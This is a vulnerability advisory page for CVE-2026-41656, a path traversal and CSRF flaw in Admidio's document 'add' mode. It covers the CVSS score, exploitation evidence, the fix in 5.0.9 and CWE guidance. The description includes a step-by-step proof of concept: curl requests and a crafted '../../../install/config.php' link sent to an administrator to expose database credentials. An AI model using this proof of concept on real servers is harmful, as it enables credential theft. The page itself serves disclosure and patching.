CVE-2026-41656VulnerabilityPublished 29 Apr 2026Updated 8 May 2026

admidio/admidio · Admidio has Path Traversal via Unvalidated `name` Parameter in Document Add Mode that Enables Arbitrary Server File

Affects admidio/admidioSource GCVE Database

Authoritative record:CVE-2026-41656· Medium 4.5

Not known to be exploited · CVSS 4.5 Medium : upgrade to 5.0.9 when convenient.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 3.1 base score

4.5Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 5.0.9

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: High
User Interaction: Required
Scope: Unchanged
Confidentiality: High
Integrity: None
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: High: The attacker is authorized with (i.e., requires) privileges that provide significant (e.g., administrative) control over the vulnerable component that could affect component-wide settings and files.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 7 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade admidio/admidio to 5.0.9.

Affected software

Product	Affected	Fixed in
Packagistadmidio/admidio	Affected <5.0.9	Fixed in 5.0.9

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The `add` mode in `modules/documents-files.php` accepts a `name` parameter validated only as `'string'` type (HTML encoding), allowing path traversal characters (`../`) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and `SameSite=Lax` session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., `install/config.php` containing database credentials) into a documents folder accessible to the attacker. ## Details **Root cause — incorrect input validation type (modules/documents-files.php:222):** ```php case 'add': $getName = admFuncVariableIsValid($_GET, 'name', 'string'); ``` The `'string'` type in `admFuncVariableIsValid()` only applies `SecurityUtils::encodeHTML(StringUtils::strStripTags($value))` (system/bootstrap/function.php:414-416). Since `../` contains no HTML special characters (`<`, `>`, `&`, `"`, `'`), path traversal sequences pass through unchanged. The correct type would be `'file'`, which calls `StringUtils::strIsValidFileName()` (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks `basename($filename) !== $filename` at line 228, which would reject any path containing directory separators. **Missing CSRF protection (modules/documents-files.php:221-238):** ```php case 'add': $getName = admFuncVariableIsValid($_GET, 'name', 'string'); if (!$gCurrentUser->isAdministratorDocumentsFiles()) { throw new Exception('SYS_NO_RIGHTS'); } $folder = new Folder($gDb); $folder->readDataByUuid($getFolderUUID); $folder->addFolderOrFileToDatabase($getName); // ... ``` No `SecurityUtils::validateCsrfToken()` or form object validation. Compare with `folder_delete` (line 140) and `file_delete` (line 170) which both validate CSRF tokens. The `add` action operates entirely via GET parameters. **Unsafe path construction (src/Documents/Entity/Folder.php:121-135):** ```php public function addFolderOrFileToDatabase(string $newFolderFileName): void { $newFolderFileName = urldecode($newFolderFileName); $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName; // ... if (is_file($newObjectPath)) { $newFile = new File($this->db); $newFile->setValue('fil_fol_id', $folderId); $newFile->setValue('fil_name', $newFolderFileName); // traversal stored in DB // ... $newFile->save(); } } ``` No `realpath()` comparison or `basename()` check. The traversal filename (e.g., `../../../install/config.php`) is stored verbatim as `fil_name` in the database. **File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):** ```php // File.php:88-91 public function getFullFilePath(): string { return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database'); } // DocumentsService.php:75-118 $completePath = $file->getFullFilePath(); // reconstructs traversal path // ... readfile($completePath); // serves arbitrary file ``` **SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):** ```php 'samesite' => 'lax' ``` Top-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector. ## PoC **Prerequisites:** Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered. ```bash # Step 1: As regular user, browse the documents module to obtain a public folder UUID curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list' # Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000" # Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting) # For a folder at adm_my_files/documents/Photos/, use three levels: PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php' # Step 3: Send this link to a documents administrator (email, chat, etc.) # When the admin clicks it, the server's install/config.php is registered in the Photos folder # The admin sees a redirect back to the documents page (normal behavior) # Step 4: As attacker, list the folder to find the new file entry curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000' # The traversal file appears in the listing with its file_uuid # Step 5: Download the file using its UUID curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>' # Response contains the contents of install/config.php, including: # $g_adm_srv (database host) # $g_adm_usr (database username) # $g_adm_pw (database password) # $g_adm_db (database name) ``` ## Impact - **Arbitrary server file read**: An attacker can read a

CWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #6OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
Implementation · Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174).
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.1 (opens in a new tab)
Attack patterns
Path Traversal (opens in a new tab)
Using Slashes and URL Encoding Combined to Bypass Validation Logic (opens in a new tab)
Manipulating Web Input to File System Calls (opens in a new tab)
Using Escaped Slashes in Alternate Encoding (opens in a new tab)
Using Slashes in Alternate Encoding (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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What to do

Affected software

Description

WeaknessesCWE-22

Technical details

References

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